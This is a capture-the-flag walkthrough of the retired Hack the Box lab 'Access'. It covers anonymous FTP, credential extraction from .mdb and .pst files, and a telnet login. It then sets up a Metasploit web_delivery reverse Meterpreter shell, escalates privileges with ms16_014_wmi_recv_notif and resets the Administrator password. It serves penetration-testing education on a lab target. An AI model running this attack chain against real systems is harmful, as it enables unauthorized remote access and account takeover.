CTF Challenges

Hack the Box Access: Walkthrough

Today we are going to solve another CTF challenge “Access”. It is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.

Level: Easy

Task: To find user.txt and root.txt file

Note: Since these labs are online available therefore they have a static IP. The IP of Access is

Penetrating Methodologies:

  • Network scanning (nmap).
  • Logging in FTP using Anonymous Login.
  • Using strings to read contents of the .mdb file.
  • Unzipping Zip file using 7z.
  • Using readpst to read the contents of the .pst file.
  • Finding Login Credentials
  • Logging into Telnet.
  • Finding the first flag user.txt
  • Using web delivery module to create PowerShell code.
  • Getting Meterpreter.
  • Using exploit suggester of Metasploit.
  • Getting Root Access.
  • Changing the Administrator password using net user.
  • Reading Our Final flag root.txt


Let’s start off with scanning the network to find our target.

nmap -p- -A

The first thing that got our attention is that we have anonymous access to the ftp server. Let’s login and see what we find.

After successfully logging into FTP server, we have enumerated directories from where we have downloaded two files Access Control.zip and backup.mdb. They might come in handy later on.


When we tried to unzip the zip file found out that it was password protected. So we tried to open the backup.mdb file and found a password to the zip file.

strings backup.mdb | grep access

Once we have obtained the password for the Access Control.zip. Time to unzip it. After unzipping we saw its a .pst which is a Microsoft Exchange Format for mailboxes. Using readpst it converted the file into the .mbox format.

7z x Access\ Control.zip
readpst 'Access Control.pst'

Let’s read the contents of the Access Control.mbox.

less 'Access Control.mbox'

After reading the contents, we saw that user credentials that surely going to help us to move ahead.

Username- security
Password- 4Cc3ssC0ntr0ller

Let’s login into telnet using our new credentials. After enumerating through directories, we have found our first flag.

cd Desktop
type user.txt

Let’s create a shellcode generated via the web delivery module of Metasploit.

use exploit/multi/script/web_delivery
set target 2
set payload windows/x64/meterpreter/reverse_tcp
set lhost

Now we will execute the PowerShell code generated via the web delivery module.

We have successfully got the meterpreter. Moving forward.


After that, we have used exploit suggester which has given us all the possible exploits for the operating system of the Victims system.

use post/multi/recon/local_exploit_suggester
set session 1

Using the exploit ms16_014_wmirecv_notif of Metasploit.

use exploit/windows/local/ms16_014_wmi_recv_notif
set lhost
set session 1
set lport 1234

oh yeah! We have got the root access.


Now we changed the password for Administrator because we can use it to login via telnet.

net user
net user Administrator Ignite@123

Here we successfully logged in via Telnet and found our final flag.

login: administrator
password: Ignite@123
cd Desktop
type root.txt

Author: Ashray Gupta is a Security Researcher and Technical Writer at Hacking Articles. Contributing his 2 years in the field of security as a Penetration Tester and Forensic Computer Analyst. Contact Here